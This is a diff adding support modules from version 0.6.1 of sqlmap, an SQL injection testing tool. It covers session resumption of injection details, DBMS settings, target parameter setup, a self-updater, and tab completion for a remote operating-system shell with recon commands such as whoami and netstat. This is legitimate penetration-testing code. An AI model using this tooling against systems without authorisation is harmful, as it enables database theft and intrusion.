||||
or not kb.resumedQueries[conf.url].has_key("Union count")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union comment][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], comment))
|
||||
dataToSessionFile("[%s][%s][%s][Union count][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], count))
|
||||
|
||||
kb.unionComment = comment
|
||||
kb.unionCount = count
|
||||
|
||||
elif position:
|
||||
condition = (
|
||||
conf.sessionFile and ( not kb.resumedQueries
|
||||
or ( kb.resumedQueries.has_key(conf.url) and
|
||||
( not kb.resumedQueries[conf.url].has_key("Union position")
|
||||
) ) )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][Union position][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], position))
|
||||
|
||||
kb.unionPosition = position
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
|
||||
logMsg = "resuming string match '%s' from session file" % string
|
||||
logger.info(logMsg)
|
||||
|
||||
if string and ( not conf.string or string != conf.string ):
|
||||
if not conf.string:
|
||||
message = "you did not provide any string to match. "
|
||||
else:
|
||||
message = "The string you provided does not match "
|
||||
message += "the resumed string. "
|
||||
|
||||
message += "Do you want to use the resumed string "
|
||||
message += "to be matched in page when the query "
|
||||
message += "is valid? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
conf.string = string
|
||||
|
||||
elif expression == "Injection point" and url == conf.url:
|
||||
injPlace = value[:-1]
|
||||
|
||||
logMsg = "resuming injection point '%s' from session file" % injPlace
|
||||
logger.info(logMsg)
|
||||
|
||||
if not conf.paramDict.has_key(injPlace):
|
||||
warnMsg = "none of the parameters you provided "
|
||||
warnMsg += "matches the resumable injection point. "
|
||||
warnMsg += "sqlmap is going to reidentify the "
|
||||
warnMsg += "injectable point"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
kb.injPlace = injPlace
|
||||
|
||||
elif expression == "Injection parameter" and url == conf.url:
|
||||
injParameter = value[:-1]
|
||||
|
||||
logMsg = "resuming injection parameter '%s' from session file" % injParameter
|
||||
logger.info(logMsg)
|
||||
|
||||
condition = (
|
||||
not conf.paramDict.has_key(kb.injPlace) or
|
||||
not conf.paramDict[kb.injPlace].has_key(injParameter)
|
||||
)
|
||||
|
||||
if condition:
|
||||
warnMsg = "none of the parameters you provided "
|
||||
warnMsg += "matches the resumable injection parameter. "
|
||||
warnMsg += "sqlmap is going to reidentify the "
|
||||
warnMsg += "injectable point"
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
kb.injParameter = injParameter
|
||||
|
||||
elif expression == "Injection type" and url == conf.url:
|
||||
kb.injType = value[:-1]
|
||||
|
||||
logMsg = "resuming injection type '%s' from session file" % kb.injType
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Parenthesis" and url == conf.url:
|
||||
kb.parenthesis = int(value[:-1])
|
||||
|
||||
logMsg = "resuming %d number of " % kb.parenthesis
|
||||
logMsg += "parenthesis from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DBMS" and url == conf.url:
|
||||
dbms = value[:-1]
|
||||
|
||||
logMsg = "resuming back-end DBMS '%s' " % dbms
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
||||
dbms = dbms.lower()
|
||||
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
|
||||
"|".join([alias for alias in MYSQL_ALIASES]))
|
||||
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
|
||||
|
||||
if dbmsRegExp:
|
||||
dbms = dbmsRegExp.group(1)
|
||||
kb.dbmsVersion = [dbmsRegExp.group(2)]
|
||||
|
||||
if conf.dbms and conf.dbms.lower() != dbms:
|
||||
message = "you provided '%s' as back-end DBMS, " % conf.dbms
|
||||
message += "but from a past scan information on the target URL "
|
||||
message += "sqlmap assumes the back-end DBMS is %s. " % dbms
|
||||
message += "Do you really want to force the back-end "
|
||||
message += "DBMS value? [y/N] "
|
||||
test = readInput(message, default="N")
|
||||
|
||||
if not test or test[0] in ("n", "N"):
|
||||
conf.dbms = dbms
|
||||
else:
|
||||
conf.dbms = dbms
|
||||
|
||||
elif expression == "Union comment" and url == conf.url:
|
||||
kb.unionComment = value[:-1]
|
||||
|
||||
logMsg = "resuming union comment "
|
||||
logMsg += "'%s' from session file" % kb.unionComment
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union count" and url == conf.url:
|
||||
kb.unionCount = int(value[:-1])
|
||||
|
||||
logMsg = "resuming union count "
|
||||
logMsg += "%s from session file" % kb.unionCount
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "Union position" and url == conf.url:
|
||||
kb.unionPosition = int(value[:-1])
|
||||
|
||||
logMsg = "resuming union position "
|
||||
logMsg += "%s from session file" % kb.unionPosition
|
||||
logger.info(logMsg)
|
||||
66
lib/core/settings.py
Normal file
66
lib/core/settings.py
Normal file
@@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: settings.py 373 2008-10-03 10:08:39Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.6.1"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
# sqlmap logger
|
||||
logging.addLevelName(9, "TRAFFIC OUT")
|
||||
logging.addLevelName(8, "TRAFFIC IN")
|
||||
LOGGER = logging.getLogger("sqlmapLog")
|
||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
|
||||
|
||||
LOGGER_HANDLER.setFormatter(FORMATTER)
|
||||
LOGGER.addHandler(LOGGER_HANDLER)
|
||||
LOGGER.setLevel(logging.WARN)
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
# Url to update sqlmap from
|
||||
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
|
||||
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||
|
||||
# Database managemen system specific variables
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" )
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
|
||||
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||
103
lib/core/shell.py
Normal file
103
lib/core/shell.py
Normal file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: shell.py 259 2008-07-20 22:25:50Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import atexit
|
||||
import os
|
||||
import rlcompleter
|
||||
|
||||
from lib.core import readlineng as readline
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
|
||||
|
||||
def saveHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
readline.write_history_file(historyPath)
|
||||
|
||||
|
||||
def loadHistory():
|
||||
historyPath = os.path.expanduser(paths.SQLMAP_HISTORY)
|
||||
|
||||
if os.path.exists(historyPath):
|
||||
readline.read_history_file(historyPath)
|
||||
|
||||
|
||||
def queriesForAutoCompletion():
|
||||
autoComplQueries = {}
|
||||
|
||||
for _, query in queries[kb.dbms].items():
|
||||
if isinstance(query, str) and len(query) > 1:
|
||||
autoComplQuery = query
|
||||
elif isinstance(query, dict) and "inband" in query:
|
||||
autoComplQuery = query["inband"]["query"]
|
||||
|
||||
autoComplQueries[autoComplQuery] = None
|
||||
|
||||
return autoComplQueries
|
||||
|
||||
|
||||
class CompleterNG(rlcompleter.Completer):
|
||||
def global_matches(self, text):
|
||||
"""
|
||||
Compute matches when text is a simple name.
|
||||
Return a list of all names currently defined in self.namespace
|
||||
that match.
|
||||
"""
|
||||
|
||||
matches = []
|
||||
n = len(text)
|
||||
|
||||
for list in [ self.namespace ]:
|
||||
for word in list:
|
||||
if word[:n] == text:
|
||||
matches.append(word)
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def autoCompletion(sqlShell=False, osShell=False):
|
||||
# First of all we check if the readline is available, by default
|
||||
# it is not in Python default installation on Windows
|
||||
if not readline.haveReadline:
|
||||
return
|
||||
|
||||
if sqlShell:
|
||||
completer = CompleterNG(queriesForAutoCompletion())
|
||||
elif osShell:
|
||||
# TODO: add more operating system commands; differentiate commands
|
||||
# based on future operating system fingerprint
|
||||
completer = CompleterNG({
|
||||
"id": None, "ifconfig": None, "ls": None,
|
||||
"netstat -natu": None, "pwd": None,
|
||||
"uname": None, "whoami": None,
|
||||
})
|
||||
|
||||
readline.set_completer(completer.complete)
|
||||
readline.parse_and_bind("tab: complete")
|
||||
|
||||
loadHistory()
|
||||
atexit.register(saveHistory)
|
||||
218
lib/core/target.py
Normal file
218
lib/core/target.py
Normal file
@@ -0,0 +1,218 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: target.py 294 2008-07-28 23:30:15Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import resumeConfKb
|
||||
|
||||
|
||||
def __setRequestParams():
|
||||
"""
|
||||
Check and set the parameters and perform checks on 'data' option for
|
||||
HTTP method POST.
|
||||
"""
|
||||
|
||||
__testableParameters = False
|
||||
|
||||
# Perform checks on GET parameters
|
||||
if conf.parameters.has_key("GET") and conf.parameters["GET"]:
|
||||
parameters = conf.parameters["GET"]
|
||||
__paramDict = paramToDict("GET", parameters)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["GET"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on POST parameters
|
||||
if conf.method == "POST" and not conf.data:
|
||||
errMsg = "HTTP POST method depends on HTTP data value to be posted"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
if conf.data:
|
||||
conf.parameters["POST"] = conf.data
|
||||
__paramDict = paramToDict("POST", conf.data)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["POST"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on Cookie parameters
|
||||
if conf.cookie:
|
||||
conf.parameters["Cookie"] = conf.cookie
|
||||
__paramDict = paramToDict("Cookie", conf.cookie)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
# Perform checks on User-Agent header value
|
||||
if conf.httpHeaders:
|
||||
for httpHeader, headerValue in conf.httpHeaders:
|
||||
if httpHeader == "User-Agent":
|
||||
conf.parameters["User-Agent"] = headerValue
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= "User-Agent" in conf.testParameter
|
||||
condition |= "user-agent" in conf.testParameter
|
||||
condition |= "useragent" in conf.testParameter
|
||||
condition |= "ua" in conf.testParameter
|
||||
|
||||
if condition:
|
||||
conf.paramDict["User-Agent"] = { "User-Agent": headerValue }
|
||||
__testableParameters = True
|
||||
|
||||
if not conf.parameters:
|
||||
errMsg = "you did not provide any GET, POST and Cookie "
|
||||
errMsg += "parameter, neither an User-Agent header"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
elif not __testableParameters:
|
||||
errMsg = "all testable parameters you provided are not present "
|
||||
errMsg += "within the GET, POST and Cookie parameters"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setOutputResume():
|
||||
"""
|
||||
Check and set the output text file and the resume functionality.
|
||||
"""
|
||||
|
||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
||||
readSessionFP = open(conf.sessionFile, "r")
|
||||
lines = readSessionFP.readlines()
|
||||
|
||||
for line in lines:
|
||||
if line.count("][") == 4:
|
||||
line = line.split("][")
|
||||
|
||||
if len(line) != 5:
|
||||
continue
|
||||
|
||||
url, _, _, expression, value = line
|
||||
|
||||
if not value:
|
||||
continue
|
||||
|
||||
if url[0] == "[":
|
||||
url = url[1:]
|
||||
|
||||
if value[-1] == "\n":
|
||||
value = value[:-1]
|
||||
|
||||
if url != conf.url:
|
||||
continue
|
||||
|
||||
if url not in kb.resumedQueries.keys():
|
||||
kb.resumedQueries[url] = {}
|
||||
kb.resumedQueries[url][expression] = value
|
||||
|
||||
resumeConfKb(expression, url, value)
|
||||
|
||||
if expression not in kb.resumedQueries[url].keys():
|
||||
kb.resumedQueries[url][expression] = value
|
||||
elif len(value) >= len(kb.resumedQueries[url][expression]):
|
||||
kb.resumedQueries[url][expression] = value
|
||||
|
||||
readSessionFP.close()
|
||||
|
||||
if conf.sessionFile:
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __createFilesDir():
|
||||
"""
|
||||
Create the file directory.
|
||||
"""
|
||||
|
||||
if not conf.rFile:
|
||||
return
|
||||
|
||||
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
|
||||
|
||||
if not os.path.isdir(conf.filePath):
|
||||
os.makedirs(conf.filePath, 0755)
|
||||
|
||||
|
||||
def __createDumpDir():
|
||||
"""
|
||||
Create the dump directory.
|
||||
"""
|
||||
|
||||
if not conf.dumpTable and not conf.dumpAll:
|
||||
return
|
||||
|
||||
conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname
|
||||
|
||||
if not os.path.isdir(conf.dumpPath):
|
||||
os.makedirs(conf.dumpPath, 0755)
|
||||
|
||||
|
||||
def initTargetEnv():
|
||||
"""
|
||||
Initialize target environment.
|
||||
"""
|
||||
|
||||
parseTargetUrl()
|
||||
__setRequestParams()
|
||||
__setOutputResume()
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
40
lib/core/unescaper.py
Normal file
40
lib/core/unescaper.py
Normal file
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: unescaper.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
class Unescaper:
|
||||
def __init__(self):
|
||||
self.__unescaper = None
|
||||
|
||||
|
||||
def setUnescape(self, unescapeFunction):
|
||||
self.__unescaper = unescapeFunction
|
||||
|
||||
|
||||
def unescape(self, expression):
|
||||
return self.__unescaper(expression)
|
||||
|
||||
|
||||
unescaper = Unescaper()
|
||||
337
lib/core/update.py
Normal file
337
lib/core/update.py
Normal file
@@ -0,0 +1,337 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: update.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import difflib
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import tempfile
|
||||
import urlparse
|
||||
import zipfile
|
||||
|
||||
from distutils.dir_util import mkpath
|
||||
from xml.dom.minidom import Document
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.settings import MSSQL_VERSIONS_URL
|
||||
from lib.core.settings import SQLMAP_VERSION_URL
|
||||
from lib.core.settings import SQLMAP_SOURCE_URL
|
||||
from lib.core.settings import VERSION
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __updateMSSQLXML():
|
||||
infoMsg = "updating Microsoft SQL Server XML versions file"
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||
__mssqlHostname = __mssqlPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname
|
||||
warnMsg += " check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
|
||||
releasesCount = len(releases)
|
||||
|
||||
# Create the minidom document
|
||||
doc = Document()
|
||||
|
||||
# Create the <root> base element
|
||||
root = doc.createElement("root")
|
||||
doc.appendChild(root)
|
||||
|
||||
for index in range(0, releasesCount):
|
||||
release = releases[index]
|
||||
|
||||
# Skip Microsoft SQL Server 6.5 because the HTML
|
||||
# table is in another format
|
||||
if release == "6.5":
|
||||
continue
|
||||
|
||||
# Create the <signatures> base element
|
||||
signatures = doc.createElement("signatures")
|
||||
signatures.setAttribute("release", release)
|
||||
root.appendChild(signatures)
|
||||
|
||||
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
||||
|
||||
if index == releasesCount - 1:
|
||||
stopIdx = len(mssqlVersionsHtmlString)
|
||||
else:
|
||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||
|
||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
||||
|
||||
for servicePack, version in servicepackVersion:
|
||||
if servicePack.startswith(" "):
|
||||
servicePack = servicePack[1:]
|
||||
if "/" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("/")]
|
||||
if "(" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("(")]
|
||||
if "-" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("-")]
|
||||
if "*" in servicePack:
|
||||
servicePack = servicePack[:servicePack.index("*")]
|
||||
|
||||
servicePack = servicePack.replace("\t", " ")
|
||||
servicePack = servicePack.replace(" ", " ")
|
||||
servicePack = servicePack.replace("No SP", "0")
|
||||
servicePack = servicePack.replace("RTM", "0")
|
||||
servicePack = servicePack.replace("SP", "")
|
||||
servicePack = servicePack.replace("<a href=\"http:", "")
|
||||
|
||||
if servicePack.endswith(" "):
|
||||
servicePack = servicePack[:-1]
|
||||
|
||||
if servicePack and version:
|
||||
# Create the main <card> element
|
||||
signature = doc.createElement("signature")
|
||||
signatures.appendChild(signature)
|
||||
|
||||
# Create a <version> element
|
||||
versionElement = doc.createElement("version")
|
||||
signature.appendChild(versionElement)
|
||||
|
||||
# Give the <version> elemenet some text
|
||||
versionText = doc.createTextNode(version)
|
||||
versionElement.appendChild(versionText)
|
||||
|
||||
# Create a <servicepack> element
|
||||
servicepackElement = doc.createElement("servicepack")
|
||||
signature.appendChild(servicepackElement)
|
||||
|
||||
# Give the <servicepack> elemenet some text
|
||||
servicepackText = doc.createTextNode(servicePack)
|
||||
servicepackElement.appendChild(servicepackText)
|
||||
|
||||
# Get the XML old file content to a local variable
|
||||
mssqlXml = open(paths.MSSQL_XML, "r")
|
||||
oldMssqlXml = mssqlXml.read()
|
||||
oldMssqlXmlSignatures = oldMssqlXml.count("<signature>")
|
||||
oldMssqlXmlList = oldMssqlXml.splitlines(1)
|
||||
mssqlXml.close()
|
||||
|
||||
# Backup the XML old file
|
||||
shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML)
|
||||
|
||||
# Save our newly created XML to the signatures file
|
||||
mssqlXml = open(paths.MSSQL_XML, "w")
|
||||
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
|
||||
mssqlXml.close()
|
||||
|
||||
# Get the XML new file content to a local variable
|
||||
mssqlXml = open(paths.MSSQL_XML, "r")
|
||||
newMssqlXml = mssqlXml.read()
|
||||
newMssqlXmlSignatures = newMssqlXml.count("<signature>")
|
||||
newMssqlXmlList = newMssqlXml.splitlines(1)
|
||||
mssqlXml.close()
|
||||
|
||||
# If the new XML versions file differs from the old one it probably
|
||||
# means that we have got new Microsoft SQL Server versions
|
||||
if oldMssqlXmlSignatures != newMssqlXmlSignatures:
|
||||
infoMsg = "Microsoft SQL Server XML versions file updated successfully. "
|
||||
|
||||
if oldMssqlXmlSignatures < newMssqlXmlSignatures:
|
||||
infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures)
|
||||
infoMsg += "new signatures added since the last update"
|
||||
|
||||
# NOTE: This should never happen, in this rare case it might
|
||||
# be that the Microsoft SQL Server versions database
|
||||
# (MSSQL_VERSIONS_URL) changed its structure
|
||||
else:
|
||||
infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures)
|
||||
infoMsg += "signatures removed since the last update"
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
message = "Do you want to see the differences? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
infoMsg = "Differences:"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Compare the old XML file with the new one
|
||||
differ = difflib.Differ()
|
||||
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
|
||||
|
||||
# Show only the different lines
|
||||
for line in differences:
|
||||
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
|
||||
print line.strip("\n")
|
||||
else:
|
||||
infoMsg = "no new Microsoft SQL Server versions since the "
|
||||
infoMsg += "last update"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __createFile(pathname, data):
|
||||
mkpath(os.path.dirname(pathname))
|
||||
fileFP = open(pathname, "wb")
|
||||
fileFP.write(data)
|
||||
fileFP.close()
|
||||
|
||||
|
||||
def __extractZipFile(zipFile):
|
||||
# Check if the saved binary file is really a ZIP file
|
||||
if zipfile.is_zipfile(zipFile):
|
||||
sqlmapZipFile = zipfile.ZipFile(zipFile)
|
||||
else:
|
||||
raise sqlmapFilePathException, "the downloaded file does not seem to be a zipfile"
|
||||
|
||||
# Create a temporary directory
|
||||
tempDir = tempfile.mkdtemp("", "sqlmap_latest-")
|
||||
|
||||
# Extract each file within the ZIP file in the temporary directory
|
||||
for info in sqlmapZipFile.infolist():
|
||||
if info.filename[-1] != '/':
|
||||
data = sqlmapZipFile.read(info.filename)
|
||||
__createFile(os.path.join(tempDir, info.filename), data)
|
||||
|
||||
return tempDir
|
||||
|
||||
|
||||
def __updateSqlmap():
|
||||
infoMsg = "updating sqlmap"
|
||||
logger.info(infoMsg)
|
||||
|
||||
debugMsg = "checking if a new version is available"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
try:
|
||||
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
|
||||
warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
|
||||
warnMsg += ", check your Internet connection and retry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return
|
||||
|
||||
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
|
||||
|
||||
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
||||
errMsg = "sqlmap version is in a wrong syntax"
|
||||
logger.errMsg(errMsg)
|
||||
|
||||
return
|
||||
|
||||
